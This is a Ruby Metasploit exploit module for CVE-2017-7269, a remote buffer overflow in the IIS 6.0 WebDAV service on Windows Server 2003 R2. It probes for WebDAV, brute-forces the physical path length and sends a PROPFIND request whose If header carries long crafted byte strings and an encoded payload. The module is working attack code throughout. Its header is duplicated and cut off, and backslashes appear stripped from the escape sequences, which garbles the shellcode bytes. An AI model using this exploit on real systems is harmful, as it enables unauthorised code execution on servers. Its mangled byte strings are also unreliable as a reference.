##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Expl ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',
'Description' => %q{
Buffer overflow in the ScStoragePathFromUrl function
in the WebDAV service in Internet Information Services (IIS) 6.0
in Microsoft Windows Server 2003 R2 allows remote attackers to
execute arbitrary code via a long header beginning with
"If: <http://" in a PROPFIND request, as exploited in the
wild in July or August 2016.

Original exploit by Zhiniang Peng and Chen Wu.
},
'Author' =>
[
'Zhiniang Peng', # Original author
'Chen Wu', # Original author
'Dominic Chell <dominic@mdsec.co.uk>', # metasploit module
'firefart', # metasploit module
'zcgonvh <zcgonvh@qq.com>', # metasploit module
'Rich Whitcroft' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7269' ],
[ 'BID', '97127' ],
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]
],
'Privileged' => false,
'Payload' =>
{
'Space' => 2000,
'BadChars' => "x00",
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,
'DisableNops' => 'True',
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true,
},
'Targets' =>
[
[
'Microsoft Windows Server 2003 R2 SP2',
{
'Platform' => 'win',
},
],
],
'Platform' => 'win',
'DisclosureDate' => 'Mar 26 2017',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),
])
end

def min_path_len
datastore['MINPATHLENGTH']
end

def max_path_len
datastore['MAXPATHLENGTH']
end

def supports_webdav?(headers)
if headers['MS-Author-Via'] == 'DAV' ||
headers['DASL'] == '<DAV:sql>' ||
headers['DAV'] =~ /^[1-9]+(,s+[1-9]+)?$/ ||
headers['Public'] =~ /PROPFIND/ ||
headers['Allow'] =~ /PROPFIND/
return true
else
return false
end
end

def check
res = send_request_cgi({
'uri' => target_uri.path,
'method' => 'OPTIONS'
})
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)
return Exploit::CheckCode::Vulnerable
elsif res && supports_webdav?(res.headers)
return Exploit::CheckCode::Detected
elsif res.nil?
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end

def exploit
# extract the local servername and port from a PROPFIND request
# these need to be the values from the backend server
# if testing a reverse proxy setup, these values differ
# from RHOST and RPORT but can be extracted this way
vprint_status("Extracting ServerName and Port")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0
},
'uri' => target_uri.path
)
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)

xml = res.get_xml_document
url = URI.parse(xml.at("//a:response//a:href").text)
server_name = url.hostname
server_port = url.port
server_scheme = url.scheme

http_host = "#{server_scheme}://#{server_name}:#{server_port}"
vprint_status("Using http_host #{http_host}")

min_path_len.upto(max_path_len) do |path_len|
vprint_status("Trying path length of #{path_len}...")

begin
buf1 = "<#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "xe6xa9xb7xe4x85x84xe3x8cxb4xe6x91xb6xe4xb5x86xe5x99x94xe4x9dxacxe6x95x83xe7x98xb2xe7x89xb8xe5x9dxa9xe4x8cxb8xe6x89xb2xe5xa8xb0xe5xa4xb8xe5x91x88xc8x82xc8x82xe1x8bx80xe6xa0x83xe6xb1x84xe5x89x96xe4xacxb7xe6xb1xadxe4xbdx98xe5xa1x9axe7xa5x90xe4xa5xaaxe5xa1x8fxe4xa9x92xe4x85x90xe6x99x8dxe1x8fx80xe6xa0x83xe4xa0xb4xe6x94xb1xe6xbdx83xe6xb9xa6xe7x91x81xe4x8dxacxe1x8fx80xe6xa0x83xe5x8dx83xe6xa9x81xe7x81x92xe3x8cxb0xe5xa1xa6xe4x89x8cxe7x81x8bxe6x8dx86xe5x85xb3xe7xa5x81xe7xa9x90xe4xa9xac"
buf1 << ">"
buf1 << " (Not <locktoken:write1>) <#{http_host}/"
buf1 << rand_text_alpha(114 - path_len)
buf1 << "xe5xa9x96xe6x89x81xe6xb9xb2xe6x98xb1xe5xa5x99xe5x90xb3xe3x85x82xe5xa1xa5xe5xa5x81xe7x85x90xe3x80xb6xe5x9dxb7xe4x91x97xe5x8dxa1xe1x8fx80xe6xa0x83xe6xb9x8fxe6xa0x80xe6xb9x8fxe6xa0x80xe4x89x87xe7x99xaaxe1x8fx80xe6xa0x83xe4x89x97xe4xbdxb4xe5xa5x87xe5x88xb4xe4xadxa6xe4xadx82xe7x91xa4xe7xa1xafxe6x82x82xe6xa0x81xe5x84xb5xe7x89xbaxe7x91xbaxe4xb5x87xe4x91x99xe5x9dx97xebx84x93xe6xa0x80xe3x85xb6xe6xb9xafxe2x93xa3xe6xa0x81xe1x91xa0xe6xa0x83xccx80xe7xbfxbexefxbfxbfxefxbfxbfxe1x8fx80xe6xa0x83xd1xaexe6xa0x83xe7x85xaexe7x91xb0xe1x90xb4xe6xa0x83xe2xa7xa7xe6xa0x81xe9x8ex91xe6xa0x80xe3xa4xb1xe6x99xaexe4xa5x95xe3x81x92xe5x91xabxe7x99xabxe7x89x8axe7xa5xa1xe1x90x9cxe6xa0x83xe6xb8x85xe6xa0x80xe7x9cxb2xe7xa5xa8xe4xb5xa9xe3x99xacxe4x91xa8xe4xb5xb0xe8x89x86xe6xa0x80xe4xa1xb7xe3x89x93xe1xb6xaaxe6xa0x82xe6xbdxaaxe4x8cxb5xe1x8fxb8xe6xa0x83xe2xa7xa7xe6xa0x81"
buf1 << payload.encoded
buf1 << ">"

vprint_status("Sending payload")
res = send_request_raw(
'method' => 'PROPFIND',
'headers' => {
'Content-Length' => 0,
'If' => "#{buf1}"
},
'uri' => target_uri.path
)
if res
vprint_status("Server returned status #{res.code}")
if res.code == 502 || res.code == 400
next
elsif session_created?
return
else
vprint_status("Unknown Response: #{res.code}")
end
end
rescue ::Errno::ECONNRESET
vprint_status("got a connection reset")
next
end
end
end
end